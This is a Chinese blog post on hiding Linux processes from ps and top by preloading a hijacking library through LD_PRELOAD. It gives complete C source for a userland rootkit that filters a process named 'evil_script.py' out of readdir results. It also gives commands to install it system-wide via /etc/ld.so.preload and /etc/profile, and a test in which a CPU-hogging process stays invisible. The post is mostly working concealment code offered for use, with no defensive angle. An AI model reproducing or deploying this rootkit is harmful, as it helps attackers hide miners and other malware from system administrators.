• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    linux 下隐藏进程的一种方法及遇到的坑

    前言

    1.本文所用到的工具在 https://github.com/gianlucaborello/libprocesshider 可以下载

    2.思路就是利用 LD_PRELOAD 来实现系统函数的劫持

    LD_PRELOAD是什么:

    LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

    实现

    1.下载程序编译

    bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git
    Cloning into 'libprocesshider'...
    remote: Counting objects: 26, done.
    remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26
    Unpacking objects: 100% (26/26), done.
    bmfxgkpt-yhd:~# cd libprocesshider/
    bmfxgkpt-yhd:~/libprocesshider# make
    gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
    bmfxgkpt-yhd:~/libprocesshider#

    2.移动文件到/usr/local/lib/目录下

    mv libprocesshider.so /usr/local/lib/

    3.把它加载到全局动态连接局

    echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

    测试

    1.我们运行evil_script.py

    2.此时发现在top 与 ps 中都无法找到 evil_script.py

    此时我们发现 cpu 100%,但是却找不到任何占用cpu高的程序

    分析

    #define _GNU_SOURCE
    #include <stdio.h>
    #include <dlfcn.h>
    #include <dirent.h>
    #include <string.h>
    #include <unistd.h>
    /*
     * Every process with this name will be excluded
     */
    static const char* process_to_filter = "evil_script.py";
    /*
     * Get a directory name given a DIR* handle
     */
    static int get_dir_name(DIR* dirp, char* buf, size_t size)
    {
      int fd = dirfd(dirp);
      if(fd == -1) {
        return 0;
      }
      char tmp[64];
      snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
      ssize_t ret = readlink(tmp, buf, size);
      if(ret == -1) {
        return 0;
      }
      buf[ret] = 0;
      return 1;
    }
    /*
     * Get a process name given its pid
     */
    static int get_process_name(char* pid, char* buf)
    {
      if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
      }
      char tmp[256];
      snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
      FILE* f = fopen(tmp, "r");
      if(f == NULL) {
        return 0;
      }
      if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
      }
      fclose(f);
      int unused;
      sscanf(tmp, "%d (%[^)]s", &unused, buf);
      return 1;
    }
    #define DECLARE_READDIR(dirent, readdir)                \
    
    static struct dirent* (*original_##readdir)(DIR*) = NULL;        \
    
    struct dirent* readdir(DIR *dirp)                    \
    
    {                                    \
    
      if(original_##readdir == NULL) {                  \
    
        original_##readdir = dlsym(RTLD_NEXT, "readdir");        \
    
        if(original_##readdir == NULL)                 \
    
        {                                \
    
          fprintf(stderr, "Error in dlsym: %s\n", dlerror());     \
    
        }                                \
    
      }                                  \
    
      struct dirent* dir;                         \
    
      while(1)                              \
    
      {                                  \
    
        dir = original_##readdir(dirp);                 \
    
        if(dir) {                            \
    
          char dir_name[256];                     \
    
          char process_name[256];                   \
    
          if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&    \
    
            strcmp(dir_name, "/proc") == 0 &&            \
    
            get_process_name(dir->d_name, process_name) &&     \
    
            strcmp(process_name, process_to_filter) == 0) {     \
    
            continue;                        \
    
          }                              \
    
        }                                \
    
        break;                             \
    
      }                                  \
    
      return dir;                             \
    
    }
    DECLARE_READDIR(dirent64, readdir64);
    DECLARE_READDIR(dirent, readdir);

    1.程序定义了一个变量 process_to_filter 来控制不显示哪个进程名

    2.重写readdir,

    strcmp(process_name, process_to_filter) == 0)

    当发现当前进程名称与 process_to_filter 相同时,继续循环.

    遇到的坑

    1.某些Linux中这个程序编译通不过

    解决方法

    删除最后两行中的一行

    DECLARE_READDIR(dirent64, readdir64);
    DECLARE_READDIR(dirent, readdir);

    2.某些Linux中使用

    shell echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
    并不会生效
     此时我们需要配置环境变量
    shell bmfxgkpt-yhd:~# vi /etc/profile
    增加一行
    shell export LD_PRELOAD=/usr/local/lib/libprocesshider.so

    总结

    以上所述是小编给大家介绍的linux 下隐藏进程的一种方法及遇到的坑,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持!

    上一篇:Linux编译优化必须掌握的几个姿势总结
    下一篇:Docker容器中Mysql数据的导入/导出详解
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    linux 下隐藏进程的一种方法及遇到的坑 linux,下,隐藏,进程,的,一种,